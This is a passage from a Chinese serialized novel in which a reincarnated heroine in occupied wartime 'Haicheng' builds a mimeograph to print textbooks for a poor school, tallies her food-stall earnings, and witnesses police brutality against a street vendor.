方校长笑了,春妮顿时发现了不对:“校长,咱们国家也不是人人都靠读书打倒他们啊,还有那些从军杀敌的军人,我认识一个营长,他还是弃笔从戎呢。读书要真是治百病,他为什么会弃笔?” “那你要上阵杀敌吗?”方校长这会儿犀利得都不像他了。 春妮哑然:她心有牵挂,不适合上战场。何况上辈子打打杀杀一辈子,她倦了,也怕了。没有战意的战士上战场,无异于送死。 “那,那我读书就能打倒他们了?”春妮不是瞧不起自己,而是她从上辈子都是动手比动脑快,让她读书,还不如让她做二十斤大馒头呢。 方校长点着《大学》,手指往下,移到第三行:“你再把这句话读一遍。” “物有本末,事有终始,知所先后,则近道矣。这句?“ “这句话,是在教你。每件事的发生都有根节,你若是能弄明白这些始末道理,那你就能掌握事情发展的规律。孩子啊,人从书里乖,你读书能不能打倒敌人,这谁都不知道。可你若不读书,你又如何得知,你能不能打倒他们,你能出多大的力呢?” 春妮想说,没有她,这些倭国鬼子也无法在我们国家横行多久。她读不读书,真的关系不是很大啊。 可她说:“您……是叫我从书里找答案了?” “然也。”方校长说,“哪怕你没有那么大的愿望,只求一粥一食,片瓦遮身,也得明理明志,知道该做什么,不该做什么,如此方知进退,明荣辱,识大体,懂得失,有敬畏,明白吗?” 春妮被他一套文绉绉的说辞砸下来,真的有了点敬畏:“老师,我觉得,就算我读了书,怕是也做不到像常先生那样。” “我让你做到这样了吗?”方校长坦然道:“连我都做不到像常先生这样一片公心,如何能要求你?慢慢学着吧。” 春妮嘿嘿笑道:“那校长的意思,你也要跟我一起学?” 脑袋叫方校长敲一记:“鬼头鬼脑。”又叹道:“活到老学到老,老师我又不是全知全能,不学难道被人骂老古板?” 又说:“你不是做早点吗?那你可知道,这世上还有食谱这种东西,你哪天得一册食谱,说不定就能多学会一样招牌早点,让你多赚点钱。” 春妮怎么不知道?她早前还收了好多本呢,可惜空间坍塌后也不剩多少了。 但她已经知道,方校长这时候根本不需要她说话:“书里有的东西多着呢,你不好好学,谁知道哪天会不会在书里找到想要的知识,学到你想要的技术?” 她见校长目光落到她身上,连忙表白道:“校长说得对!” 校长不为所动:“你练的字呢?” 春妮:“……” 不知道是不是头一天补课的关系,方校长没给她布置许多功课,六点补课,七点过一点,天还完全亮着,就宣布结束了今天的课程。 春妮憋了一天的问题,这时候才敢问:“两位先生来视察后说过什么吗?就是换教材的事。” “先生们答应了。” 春妮笑到一半,发现方校长并不是那么高兴:“校长,您还在想在课堂上宣传抗倭的事?我跟你说,这真的太冒险了,不能冲动啊。” “那总不能一点不说吧?我不是跟你说过?读书首先要明志……” 春妮发现,离开了书桌,方校长又变回了以前那个啰里啰嗦,说话拖沓软绵的方老师。 面对这样的方老师,春妮一点不带怵的:“课堂上不好说,可以悄悄地,在私底下宣传嘛。这样也不是很好,万一有人嘴不紧……那班上总有些性格沉稳点的大孩子,可以试着跟他们先透透底。再要不咱们给学校找个倭人也不敢惹的大靠山……或者学校不好组织,可以发动老师。让有的老师纯教课,有的老师偷偷宣传一下,以后有事发生的话……”她转脸就想出了七八个主意。 方校长:“……”两位先生说得对,这孩子脑筋转得快,可得看着点,不能让她走歪了路。 他还在慢慢琢磨,春妮已经完结了这个话题:“那教材呢?你们准备用哪一套?” 现在市面上没有统一的教材,一般都是大一些的学校牵头编一套,小学校去买一套回来自己教。 “现在哪有钱买教材?我准备明天默些诗到黑板上,让学生们抄下来自己记住。” “可好多学生,他们不是买不起纸吗?学校给发?” 方校长:“……”他倒没想到这点,学生们才学写字没多久,他们抄坏了不是浪费纸? “校长,你怎么不说话了?该不会是舍不得纸吧?” 方校长:“……我是担心学生写坏了糟蹋东西!” “哦,那简单嘛。直接印出来出来不就行了?” 这孩子,想法也太跳脱了些,“印出来?说得轻巧,要怎么印?” “用油印机啊,”春妮后知后觉:“该不会咱们这么多所学校,都没有一台油印机吧?” “油印机?那是什么?也是木工能做的东西?” 春妮:“……”她……是不是说得太多了些? 第24章 024 破除万难 春妮当然不可能会做油印机。 但她见过。甚至她的空间里曾经也收藏过一台, 随着她的二次投胎,也早就化成了齑粉。 末世初期,电力系统经历过很长一段时间的不稳定, 为了保障科研和工厂用电, 基地采取了限电措施。人们不得不恢复到天黑即睡,天明即起的古代人生活,更不要说其他不便之处。 春妮学校花大价钱在黑市买的影印机用不了,最后说是从博物馆弄来一台古董手推油印机,每到要考试需要印试卷,老师们就会用蜡纸刻出试题,再找几个学生去印刷室用手推按压的方式将试卷印刷出来。 春妮因为力气大, 经常被老师叫去干活,一般她负责压板子, 滚油墨辊也干过。 她对油印机可太熟悉了。 这个年代应该有这种油印机了啊,不然这么些报纸,满世界的宣传单是怎么印出来的? 方校长居然没听说过,那学校以前是怎么应付学生考试的? 方校长有些赧然:“我们以前都是交给工厂印刷的, 哪里清楚印刷需要什么东西?现在么……” 春妮懂了,又是“现在没这个条件”。 她小时候用过太多回油印机, 对它的原始和粗糙深有感触,没想到学校连那么简单的设备都买不起。 “我回去问问朱先生吧,他应该有些门路。”春妮说得有些艰难:“要是不贵的话, 等常先生付我们的五十块到帐后,先用这钱买一台放在学校里用。” 常先生的事让春妮心里一直有个冲动, 她自认做不到像常先生这样倾尽家财办学,可她也想为学校做点什么。 说出来之后,她心里舒坦了很多。 反而是方校长反对道:“说好了给你们的工钱, 怎么能变呢?” 春妮说:“油印机也不是只能规定咱们一个学校用,要是有其他学校想印卷子,咱们也可以适当收取些费用。等到再需要些什么东西,至少不用再问常先生他们伸手,您说是不是?大不了,等油印机盈利之后,您再将这五十块钱还给我们。” 方校长答应了:“那你先问问看吧。” 回去之后,阳台夜谈会在继续。两位成年人在夏生的带动下,一边说话,还在帮春妮裁制装馒头的报纸袋。 她是知道这两人的德性的,都是身娇肉贵的少爷小姐,吃饭可以,为人也不小气,但让干活,不把嘴皮子磨破,那是万万不能。 春妮:“……”厉害了,我的弟弟,你都有免费雇工了。他这是怎么忽悠来的? 不过 眼下有更要紧的问题,春妮先问朱先生:“你知道哪有油印机卖吗?我们学校想买一台。” 朱先生果然知道油印机:“我们报馆合作的印刷公司应该有门路,我明天去帮你打听打听。” 第二天晚上,朱先生给春妮带回一份价目表:油印机三十五块,油墨十块钱一筒,铁笔十块一支,蜡纸五块钱一套,一套五百张。最贵的是刻字用的钢板,要五十块钱一块,一次买一整套可以打九折。这还是销售员看在朱先生份上给的优惠价。 九折也要将近一百块,太贵了太贵了! 连春妮都觉得贵,方校长更不用说,两人不得不望机兴叹:“要是五十块钱多出一点点,我都能克服克服,从其他地方想想办法,可一百多块啊,这让我怎么想办法?” “那买教材呢?” 方校长连连摇头:“不行的,一本国文教材少说也是两三块,更买不起。” 春妮左思右想,还是觉得,学校得有一台油印机。不说刻印试卷,就是教材也是统一印发的好。让学生们手抄传送,效率低不说,谁知道会不会有谬误? 这里很多孩子在十二三岁左右,更大的都十七八了。不到学校来读书,完全可以当一个劳力用。他们的父母愿意把他们送过来,是作出了很大牺牲的。 他们中绝大多数人可能读不到两年,略识几个字就要回去干活。回去之后,恐怕没多久这些学来的东西就会忘掉。此时如果有一本课本在手边,温故而知新,肯定会更好。 这些孩子们来了之后,承包了学校所有的杂活,有巧手的女孩子还剪了窗花贴在窗户上,还有学生给她义务看凉粉摊子,算帐计数一点不马虎,有空还趴在凳子上,用折好的树叶练习新学到的字。后面学校让他们做木马,他们顶着那么大太阳,也高高兴兴地做了,不叫苦不计较,早熟乖巧得让春妮看到了她小时候。 春妮想让他们过得更好一点。 “要不我试试,看能不能做出机器吧?”春妮说:“机器的主体是木头,不难做,就是转轴处需要铁皮包裹连接,防止磨损,再就是油墨辊的把手得用铁的。把主体这部分的钱省下来,校长觉得怎样?” 方校长为人是缺了些魄力,但他贵在懂得自省。 春妮这样破除万难也要达到目的的行事风格让他心中极是感谓,慨然道:“小顾老师都有这份决心,我作为校长,又岂能落于你后?剩下的我来想办法吧。在月底之前,我争取一定给咱们学校弄到剩下的部件!” 师生两人发下宏愿,当即分兵两头开始了忙活。 春妮这边相对简单,她同朱先生以买家的名义去出售油印机的公司实地观摩一圈,将油印机的各组件,尺寸和材料暗记于心,心底渐渐有了腹稿。 其实油印机本身不难做,就是个可以开合的木匣子,上边木框镶着纱网,夹住刻印好的蜡纸,下边闸子里放白纸,匣子一合,油墨辊在纱网上一滚,一份印刷完毕,抽出匣子里的白纸,再印第二份,如此反复。一份蜡纸刻得好,复印上千份都不成问题。 而现在一千张毛边纸才一块钱,裁制成教材大小,合两千张用,一份教材最多一百来页,不算油墨和装订,这样下来,省去了中间商赚差价,一本两百页的白板教材才不到一毛钱,成本低廉到简直让人咂舌! 春妮这里唯一的难点是在纱网,这纱网用极细的铁丝拉丝织成,铁丝她没有办法。好在学校里有一名学生的父亲在铁号当杂工,春妮托他让他父亲用五毛钱,在号房下工后,请一位学徒偷偷用一小块做剩的白铁边角料拉成发丝长的细铁丝送过来。再出了两块钱,打造好转轴和油墨辊把手,就等着方校长的其他部件了。 方校长这回下了狠心,发动起自己所有的关系,跑遍租界所有的旧货铺子,竟然只花二十块钱就收到了一块报废的钢板。 这钢板中间部分仿佛被击打过,有轻微凹陷,但送去铁号,让铁匠浇上高碳素铁汁重新淬火打磨平整。补齐刻字用的经纬线,就又能重新上岗了。 铁笔,油墨和蜡纸却是胡老师的贡献。她周末回了趟母校去看望老师,老师问起她现在工作情况,听说她在的学校免费收穷人孩子读书,深为感佩。得知他们还缺几样油印装备,同学校商量后,将几年前学校已经淘汰的铁笔选了支品相最好的,并一套油墨和蜡纸赠送给了学校。 其实那支铁笔只是笔头有点磨损,换支笔头,被方校长同铁板一道送到铁号再回火,只花了一块钱。 加上木料费,炼制转轴和把手的五块钱,整套市场上卖一百多块的油印机,他们竟然花了不到三十块钱就置办下来了。 这一台集合了学校师生们的人脉和才智的油印机,得来可真是不容易啊! 方校长摸着油印机爱不释手:“这机器放在这我不放心,我今天晚上就在这睡了!” 韩老师说:“校长,这里太热了,你回房去睡,我来守着。”油印机主体做好之后,春妮将它放在放凉粉的杂物间里,后来其他部件到位之后,就一起搁在了这里。 面对这台自己亲手完成大半的机器,春妮按下心中同样百转的思绪,打趣道:“瞧你们这副生离死别的样子,又不是大物件,把机器抬去你们的办公室放着不就行了?随你们晚上想枕着睡,还是抱着睡。” 见两人愣住,春妮笑道:“怎么?舍不得搬?” 两名男老师哈哈笑起来:“搬啊,来来来,小顾老师,胡老师,我们一起来搬吧!” 由于省出一大笔钱,方校长多买了一筒油墨和蜡纸备用。 学校里毛边纸是现成的,再花几块钱添一点也不成问题。几位老师花几天熟悉了一下机器,以及用蜡纸刻印的手法,挑在某一天放学之后,正式开始了第一次的教材印刷。 而这个时候,小顾老师才发现,由于方校长要赶制课本,她居然不用再放学留堂,享受特殊补课了! 也因为做完了机器,她除了卖卖凉粉,早上起早些做做馒头,居然没了其他的事做。 唔……等等,还是有事可做的。 从做木马开始,春妮这近一个月所有的闲暇时间都在为学校忙碌,只是照常运营自己日常的两样生意,她还没来得及算这个月自己赚了多少小钱钱呢。 是时候为自己这一个多月努力的成果做个盘点了。 第25章 025 绝不认命 关上门锁紧窗, 把夏生赶到朱先生家的阳台上听讲故事,春妮从空间中摸出两个钱袋。 先倒出红色绣凤仙花的那个,满把满攥的钱币滚出小半床。听着叮叮当当悦耳的钱币撞击声, 春妮就跟刚吃了碗花旗大姐姐一样, 浑身冰爽快活。 这一袋钱是她这个月卖馒头,除去给李德三的那一份里所有的收入,清点出来,共计六十三块七毛四分,因为天气越来越热,很多人吃不下馒头,不过豆沙包和芝麻包依然受欢迎, 但总销量从一天一百个下降到五至七十个左右。除去买面粉,柴薪耗费, 大约剩下十七八块的净利。 比不上最开始的那几天,也很不错了。 而且馒头的利润低,主要是这个月一袋五十斤装的面粉又涨了一块钱,法币兑换也损耗了一些。 要是没有凉粉生意, 扣掉八块的房租和双份的巡捕捐,她和夏生日子肯定没法过得滋润。 春妮已经提醒德三, 法币越来越不值钱,再有买馒头的,一定得收大洋和铜角子, 要是别人给不出来,宁可不卖都行, 否则每天净给黑市里换大洋的钱币贩子打工了。 而另外一袋蓝色绣月季的光是提一提,分量就重了不少,倒出来一不留神 , 满床的钱币差点滚下地。 春妮喜滋滋地数了又数,一百二十五块六角四分! 一碗纯素凉粉卖三分钱,而她的付出只是一碗水,一勺红糖,以及可以忽略不计的石花粉,还有那些果脯果酱是另外算钱的,能不暴利吗? 而卖凉粉她每次买的材料都计在小本上,今天核算总帐,才花了五十八块三毛六分钱! 这些钱里很多用来购买了纱布,木桶,捣杵等不需要重复购买的物资,即使将这些加在里面扣除总帐,也有六十七块二角八分的净利! 发财了发财了,真的发财了! 要是凉粉生意多做几个月,说不定春妮都能买辆自行车了,这时候自行车价钱一般在一百七八十块左右,是海城绝大多数家庭可望不可即的奢侈品。 如果每个月都维持这样的盈利,那自行车很快就不会只是春妮的一个梦了。 不过这会儿已经到八月中旬,春妮预计,这生意最多做到十月份就得关门。 她有点心疼:这个位置她已经做出成绩,而且这是她辛苦打下来的江山,就这么关张实在可惜。 春妮总结了一下,她之所以这么赚,因为她的两份营生都没有□□来抽保护费,不然像她码头隔壁卖酸梅汁的摊主那样,一个月要白送四成的利给红帮交保护费,扣去吃喝住用,落到手上还剩几个钱? 最要紧的是,辛苦赚的钱送给一群垃圾欺负自己,那真是一口老血都要呕出来! 而且四成利已经算手下留情,春妮听说,像码头隔街那些旺铺的掌柜们,保护费交的最高的,高达纯利润的六成以上。 她不觉得光凭自己可以让袁八爷轻易松口破例,想来想去,可能学校的帮派背景也起了些庇护作用。 想到这一个月顶着大太阳帮她辛苦看摊的老师,还有那些有空就帮她打下手的小学生,春妮心头微软。 而她现在可以舒舒服服躺在阳台上看星星,那些老师们却要熬夜,甚至是通宵刻印教材,何尝不是他们对自己这个“小老师”的关心爱护?毕竟先前来视察学校的两位先生都开过口,她现在领学校薪水,也是正式老师,这种需要全校老师通力合作的事,她本来也应该在的。 这个年头可没有雇佣童工的概念。金小姐跟她说过,女工们八|九岁从乡下被包工头招出来,不到灶台高,去缫丝厂打茧的比比皆是。一天至少十二个小时将双手泡在开水中给蚕茧抽丝,这样的工作还有好多人抢着去做,只为了有口饭吃。 在这栋房子里,金小姐也就跟春妮说得上两句话。大概她干这一行,热闹都在外边,心里也是寂寞的。偶尔两人碰上,金小姐总会拉着春妮跟她去房里坐坐,喝喝客人送她的咖啡,或是招待她吃几块粟子糕。 春妮对咖啡敬谢不敏,却对她的故事有些兴趣。 金小姐十二三岁那会儿,海城的纱厂去他们家乡招工,她娘送了同乡包工头一小块花布,签下三年身契,约定好只管饭,工钱是包工头的带她出来的报酬,将她和其他的女孩子一起带到了海城。 她和同伴一开始被安排在缫丝厂做打茧女工,但她为人机灵,进厂两个月后,讨好了工厂一名负责选茧的拿摩温被调去选茧,摆脱了在高温车间工作,双手被泡胀变形的命运。 金小姐在那里干了三年,忙时进厂选茧,闲时去鸡蛋厂,或是馆子里帮厨打零工,反倒比在乡下吃得饱。直到三年后,带她进厂的包工头说要带她回乡,给她说门亲事。刚踏上回乡路的第一天晚上,包工头却先起了歹心。 金小姐原话是这样的:“幸好老娘早就防着他,那天晚上把剪刀贴身藏着,没敢睡着。老东西摸黑进来,没想到吧,哈哈,吃了老娘几剪刀,叫他欺负老娘,叫他连老娘打零工的钱也贪!不他扎一身血窟窿消不了老娘这口恶气!” 只是这样一闹翻,厂子是不能再进了,家乡那边,因为包工头带出去很多人,让不少人免于被饿死,家乡人都拿他当恩人,她也是不敢再回去的。金小姐身无分文,徒步回到海城,幸好她在纱厂结识下几个义气的小姐妹,几人给她凑点钱,她又遇上点机缘,借了点钱烫头描眉搽粉,学了几个钟头的狐步舞,再租来一套包臀露腿的丝绸夜礼服,就赶鸭子上架,进大世界正式当了舞小姐。 大世界的营利主要从客人的门票和消费的烟酒钱来,年轻漂亮的舞小姐是招牌,大世界并不向他们抽成。金小姐到海城三年,正式下海后,手头才是真正有了几个钱。 金小姐的好日子都是从做舞小姐之后开始的,她跟于太太结怨也是由此而来,因此遇到机会,就要婊一婊于太太的假清高。 但她不是个坏人,自己也说过做舞小姐,到二十二三已算人老珠黄,做到二十五六,舞厅都嫌弃,要撵你出门。金小姐没说她多少岁,春妮看得出来她年纪已是不小,吃不了这碗饭几天了。 春妮有时劝她,让她早作打算。她反倒比春妮还说得出道理,只说:“海城都不是咱们华国人的了,说不定哪一天天上掉下颗炮弹,把咱们全轰上天。想这么些有什么用处?且有一日快活一日吧!” 春妮是没法像金小姐那样,两眼一闭不问世事,随心快活的。不管在什么境地,她都想活着。死过一次,没人比她知道活着有多好。 老天爷没给她好运气,她就自己筹算。总之,只要她活着有一日,就绝不认命! 春妮不至于拿自己的身体开玩笑,辜负老师们的好意,但她觉得她应该做点什么。 怀着这样的冲动,第二天一大早,春妮去菜市场花六块钱买了十斤肥猪肉和两斤糖,将它送到学校食堂,给师生们加餐。在任何物资匮乏的年代,肥猪肉都是上好的送礼佳品。 在学校读书的学生,每个月交一毛钱,学校给管一顿中饭。凭现在的这个物价,这顿饭几乎算白送。学校也穷,通常给学生发两个杂面馍馍,再加一碗清得看不出是什么汤的汤水,这就是中午的饭了。 学校请的帮厨姓赵,是一名学生的父亲,说是以前在家乡有过一间饭馆。见到肉,他眼睛都绿了,摩拳擦掌说他最擅长烧红烧肉,今天一定要大展身手。 赵厨子把肉切成一厘米见方的小块,锅里放点水,中小火加热,水鼓小泡之后,将肉放进去坐水,简单地炼制出多余的油脂,随后油脂和肉被盛起来分别放在一边。 赵厨子撤了根柴禾,锅里留点底油,一铲子下去,小半罐的糖被撒进锅里,他开始炒糖色。 白砂糖炒成流动的蜜糖色,肉刚放进锅,几名没课的老师没忍住都出来了:“好香啊,今天怎么有肉吃?” 得知是春妮为谢师生们帮她看摊子请的,老师们嘻嘻哈哈谢过大户,还不肯走。 几名女老师好一点,最夸张的是韩老师,他夸张地揉着肚子,说:“我感觉我闻着肉味都吃饱了。” 另一位年纪大些的王老师作势要拉开他:“那正好,你的那份省下来,都给我吃吧。我闻着更饿了。” 做完肉的油锅不洗,直接加满水,再添几片菜叶子和几大块盐,并七八个鸡蛋,趁热用汤勺搅开,这便是中午的汤了。汤水滚开后,炼出来的油脂再舀一小勺到汤里,香得连赵厨子的肚子都鼓噪起来。 他摸着光溜溜的大脑袋不好意思地笑:“从家乡逃出来,两年多没吃肉,小顾老师见笑了。” 到了吃饭的时间,学生和老师们都是耸着鼻子,吸着口水到的灶台边。没办法,这肉太馋人了!学校本来就不大,厨师煮这一个钟头, 香味已经飘得人心都开始发燥,连老师们讲课都走起了神。 生在末世,春妮从小到大没有一刻感到过安心。这是很多末世人的共性,不安和焦虑是他们相伴终身的朋友。面对这些情绪问题,有些人选择了发泄放纵,有些人变成了克制派神经质,她则是极度吝啬的囤积癖。舍不得吃舍不得穿是基本操作,到她手里的东西,除非可以换取到更大的利益,否则她绝不会松手放出去。她妈和她奶奶为她吃独食的毛病不是没头疼过,从小到大扳了她多少次。 她是改了一些,但骨子里,春妮还是将自己和自己的东西看得比什么都重要,没有利益交换和权势压迫,谁也别想从她手里占到半分便宜。 这是春妮两辈子以来第一次送礼,比起前些日子去德胜楼的那一趟,看到老师学生们发现碗里的红烧肉,吮吸着肉汁那由衷的满足,她好像也没有那么心痛了。 在这个年代,海城的平民阶级可能逢年过节还有点肉吃,这些学校的老师和学生就不一定了。春妮耳朵尖,已经听见有孩子说,他/她长这么大没吃过一回肉。有的孩子则珍惜地将肉块包起来,说要给家里人带回去尝一尝。 还有的孩子说,今天比过年还好,因为过年都不一定有肉吃…… 十斤肉听着多,三百多张嘴呢。落到每个孩子碗里,可能就不到两块。 春妮只想叹气,天气这么热,不到回家,这肉就得臭了吧? 听到最后,老师们不得不放下饭碗,三令五申,让他们把肉都吃干净,还得把碗举起来给老师检查,才没闹出食品安全问题。 穷啊!这学校从上到下都太穷了,穷得简直生了副随时会关张的相。 过两天是学校的发薪日,春妮攥着还不到她三天收入的六块钱薪水,守着凉粉摊子,都替学校发愁。 这时方校长提着一叠东西到了路口:“小顾老师,你帮我跑个腿,去常先生家一趟。” 第26章 026 绝种生物 春妮盯着他手里散发着墨香味的印刷物, 眼睛一亮:“咱们的教材印好了?” “对,你去把这套教材送到常先生那,让他过过目, 看还有没有要改的。他在吴江大学, 你知道吴江大学在哪吧?” “知道,是永佳纱厂旁边的那所大学吗?”春妮在那一片卖过半个多月的馒头,对道路是相当熟悉。 “以前是在那。”方校长脸色沉下来:“因为倭军占领,学校里变成了军营严禁出入。他们在川陕路租了一栋楼继续上学,你去打听哪里学生出没最多,准保是那。” 川陕路同样位于公共租界,只是英国人的地盘, 离之前的吴江大学原校址只有两条街的距离。 春妮这才惊觉:她到海城这么久,没听说过一件跟大学有关的事。她自己是没读过大学, 习惯性遗忘这些高等学府,但这个年代的大学可是搅动风云的存在,大学生是真正的天之骄子,不该这样籍籍无名! “难道海城所有大学都被倭军占领了?” 方校长冷笑一声:“被倭军占领已经是好事, 像圣约翰大学,大夏大学, 海城商学院以及海城的中小学被炸毁的至少有七八十座,倭人是有心断我华夏文脉!” 春妮忽然想起《大学》里的第一句:“大学之道,在明在德, 在亲民,在止于至善。” 在她心里一直有个不成熟的猜想, 大学莫非同《大学》中所述一般,不止教人高等技能,还教人至理与德行? 这样的大学, 倭军也要来毁?只是因为大学是华夏的根基与文脉? 方校长冷静了一下,嘱咐春妮:“记得快去快回,摊子我给你看,这有两毛钱,你去坐电车——” 别看学校,春妮住的闸口路,以及她以前卖馒头常去的纱厂都在江浦一带,实质上纱厂在江浦最东边,学校则在西南方,两边相隔少说五里远。也是春妮力气大,脚程又快,才能赶在纱厂女工们上工前占位置卖馒头。 川陕路离闸口路不远,从倭人聚居区的川陕北路穿过去就到,约有三四里的模样。 春妮接过捆成方砖块的教材,说:“上午没什么事,钱我就不拿了,走着过去也不很远。对了,校长,你还没跟我说上学校哪里找常先生。” 方校长揩了把汗,“你进学校直接找人问,说找常校长,他们会告诉你的。” “常校长?常先生是吴江大学的校长????” 她可是知道吴江大学的,那是一所在后世,乃至于末世都极为有名的学校。某个基地曾经建在海城旧址,为了纪念这所曾培养出无数科学家的高等学府,这个基地的官方高级学校就被命名为吴江大学。 大概是春妮的表情过于夸张,方校长哈哈笑起来:“你这孩子,常先生又不是怪物,看把你吓的。” 要常先生是怪物,我说不定还不会吓成这样呢…… 活着的大学校长,在他们那个年代,是妥妥的绝种生物啊! 春妮抱着瞻仰珍稀动物的奇妙心思找到常先生,他此时正蹲在一个方形陶缸面前,手上拈着几捧土在细细观察。 常先生一眼就认她出来,愉快地说:“是小春妮啊?你找我是有什么事吗?” 春妮举举手上那两本教材,说:“咱们学校的教材已经印出来,方校长让我给您送一份过来。” “小方这回还挺快的嘛,”常先生看来深知方校长的性格,他拍拍手掌站起来:“走吧,去我办公室再说。” 他见春妮总在回头看那方陶缸,问她道:“小春妮,你看什么?” 春妮好奇地说:“我看那陶缸里的东西,是您种的?” “对,是我种的。” 春妮可太稀罕一个活着的大学校长了,忍不住问东问西:“准备种什么?” “只有这一点土,先种点麦子试试。” “您不是校长吗?怎么还亲自种麦子?” “校长怎么了?”常先生好笑道:“校长就不能种麦子了?” “就是没想到,先生您也会种地。” “这有什么,”常先生坦然道:“我年轻时候,每回学校休沐,都会回家帮家里种地,直到我去美国留学前。” “您也是农民出身?” “当然了,”他抬起下巴,用大拇指点着自己:“正宗的农民之子。我们是不在一个村,要是在一个村,保管你从小就是听着我故事长大的。我在我们家乡,可是第一个考上高等学校,还获得奖学金出国留学的学生呢。” 春妮可是见过大学校长得意是什么样了,她笑:“您家里人现在还在种地吗?” “那倒没有,我是家中独子,家乡的老母亲早就接了过来。只是得知些事情,忽然回想起年轻这段时光,在办公楼前开了两垄地,看能种出什么。”说话间,两人已经进了办公室。 校长办公室就在他们租的办公楼最上方,跟着装相对随意的学生们不同。 办公楼层进出的先生们个个西装革履,女士们则是洋装套裙高跟鞋,发髻高高挽在脑后,有一位女士还戴了副黑框眼镜。看得春妮亲切感倍生——基地行政部门都是这样的打扮。 这时候穿职业装的女性,比大街上偶尔惊鸿一瞥的外国贵妇还少,这些女士们也不知道以前都藏去了哪儿。 春妮两次见常先生,如果不是他亲自领她进来,是绝想不到身边这位先生是在这里面工作的教授校长。 看来常先生的同事们对常先生这副装扮也是习以为常,穿咖啡色套裙,戴黑框眼镜的女士迎上前,看了春妮一眼:“校长您有客人?请问客人喝什么茶?” “小孩子一个,给她倒一杯蜜水就好。”常先生随意打发掉秘书,笑着问春妮:“小春妮,想什么呢?” 春妮哪能说她在追忆往昔,随口道:“我在想,是什么事让常先生您突然又想种地了。” 常先生脸上的笑容一顿:“也没什么。你该知道的,自从倭人在北边炸了我们好几所学校后,我们北方的几所大学便开始了南迁。我也是前些天才知道,他们落脚之后,因为生活过于困苦,不少教 授学生开始养猪种菜,倒使我想起年少时光,一时心血来潮,弄了点麦种来种。” 常先生重点在种菜,春妮则是震惊:“堂堂大学教授要靠种菜维持生计?双城政府不管,不给教授发薪的吗?” 常先生摇了摇头,也不知是不清楚具体情况,还是不想说。 他翻开课本,开始了浏览。 因为是启蒙基础课本,本身没有多厚,春妮一杯蜜水啜饮完毕,常先生的书也翻阅得差不多,并且简单发表了他的看法。 “不错,选择的诗文都简单易懂,算数也好,都是最基础的知识。我没有其他意见,就叫小方,方校长按这个印,尽快下发给学生。” 春妮等了一会儿,见常先生开始皱起眉头喝茶,以为他说完了话,便要站起来告辞。 这时,常先生放下茶杯,问道:“这一本教材印下来要多少钱?” 论算钱,没谁比春妮明白,她麻溜报出个数字,差点让常先生喷了茶:“一毛五到三毛之间。” “这么少?这怎么可能?!” “怎么不可能?”春妮一笔笔给他算帐:“我们的教材用的是最便宜的毛边纸,光是纸就省去了三分之二的价格。而且老师们为了省纸,放弃了排版,除去油墨耗钱些,暂时无法压缩成本,老师们不要润笔费,校对费也省下来,何况油印原本就比铅印便宜,做到一毛五分钱这不是很正常?” “这倒也是,”常先生摩挲着书皮,它同样是一张毛边纸,只在封面上简单提着方老师写的“国文”两字:“我们的学校不需要像其他学校那样装帧精美,也不需要放大字体做配图,一切都旨在实用。节省的这部分空间完全可以充分利用起来。那高价的三毛又是如何算出来的?” “按学校现有的印量算出来的啊,因为不知道油墨会在什么时候用完,索性按现有印量估算个最大数字出来。” “哦,这样啊……”他忽而问道:“你们一晚上能印多少出来?” “几个人交替的话,两千页左右。” “就是说,只能印出四十本?”常先生叹气:“也太少了些。” 这两本教材因为空间压缩,每本印完后的成品还不足一百页。 “不少啦,毕竟是新机器,还要多熟悉熟悉,蜡纸刻印也是个技术活,”说到这里,春妮心中一动:“常先生想给其他学校也配发这套教材吗?” 常先生果然没否认:“你不是跟小方说,学生们得有本课本随时在手里,方便他们温故而知新吗?我觉得这想法不错。可你们的印速提不上来,只怕这事难办。” 春妮笑道:“这还不简单,拿这本《国文》举例。这本书一共编入三十二篇诗句文章,每篇诗文大概需要两到三个课时教授,咱们没时间一次印出一整本,可以将一到两个课时的先印出来发下去,剩下的再印再发。等到一整本印完,再让学生自己将书本整理装订出来嘛。这本《数学》也是同样的道理。” 常先生点点头,忽而问她:“那假若我问你们订五千本课本,你作价几何?” 春妮心中大喜,嘴上却矜持道:“先生快别笑话我了,我就是个体育□□,订教材这种大事,您问我有什么用。” 印教材跟做木工不同,做木工是熟手活,工具磨损得慢,木头也不像纸张那样娇气。印教材的话,数量定然会更大,还有纸张,蜡纸,油墨还有机器的折耗都要考虑在内。机器来得这样不容易,即使方校长不狮子大开口,也不可能报出一毛五分钱这样的底价。再说数量这么大,只要常先生肯下订,他们就有得赚。 就像她跟校长说的那样,自己手里有点活钱,干点什么都好,不用总向常先生伸手。 常先生点着她笑:“滑头。”心里明白她定是为上回的事不肯再轻易开口,也不为难她,道:“那你回去跟你校长说一声,让他下午来我这来一趟。” “哎!”春妮看了下窗外,这时候太阳有点高了,她回去正好赶得上吃午饭,便站了起来。 这时常先生拉开身侧的抽屉:“正好小春妮你来了,我听说你最近在跟方先生补课,这有两本书,给你拿回去看。” 春妮接过来,一本是彩绘硬皮书,书皮上写着《华国历史故事1》,应该是套装书。翻开一看,一页是插图,一页是文字,排版排得很开,看着不费劲。一本封面花花绿绿的,是本叫《三毛流浪记》的小人书。 这个春妮喜欢,她空间里是有些书,可那些都是实用性很强的操作书。她虽然是个囤积癖,像没用的小说诗歌什么的却也不会放在里边占空间。 这会儿没有了那样恶劣的生存环境,春妮不介意看些闲书打发时间。高高兴兴收下来,谢过常先生,匆匆忙忙就往学校赶——她怕回去晚了,没她的饭吃。 路过纱厂的时候,春妮发现那附近摆摊的人群连成一片,形成了一个小小的聚落。 春妮不禁一叹,难怪李德三找她订的馒头越来越少,竞争那么大了啊。 而正在这时,几名倭国巡警提着警棍跟她错身而过。 春妮身后,那些小贩们像她在的时候那样,东西一卷,各凭本事,撒起腿就往巷末街尾钻。 但巡捕们都是年轻力壮的小伙子,随便盯住哪个人,想捉住他还是很容易的。 春妮回身看去,一位卖草编的老头跑在了众人最后,巡警们很快扑身而上,提起棍子围着那老头就是一顿狠抽! 老头很快哀嚎着躺在地上,而巡警不见手软,将他的草编踢翻在地,几棍下去,直将老头打得口吐鲜血,不再动弹才扬长而去。 才是一个多月,这些跑起来软脚虾似的巡警们竟然变得这么凶残! 第27章 027 免费医疗 巡警离开有一会儿, 散去的人群才敢围住老头重新聚拢回来。 春妮夹在人堆里,听有人哀声叹息:“伤成这样,可怎么办?” “那些巡警们一脚一脚全朝要害处招呼, 就没想要老杨头活。” “有人知道老杨头住哪吗?咱们给他送回去吧。” “我知道, 他家住在——” 春妮忍不住了: “你们不先把他抬到医馆里看看吗?” 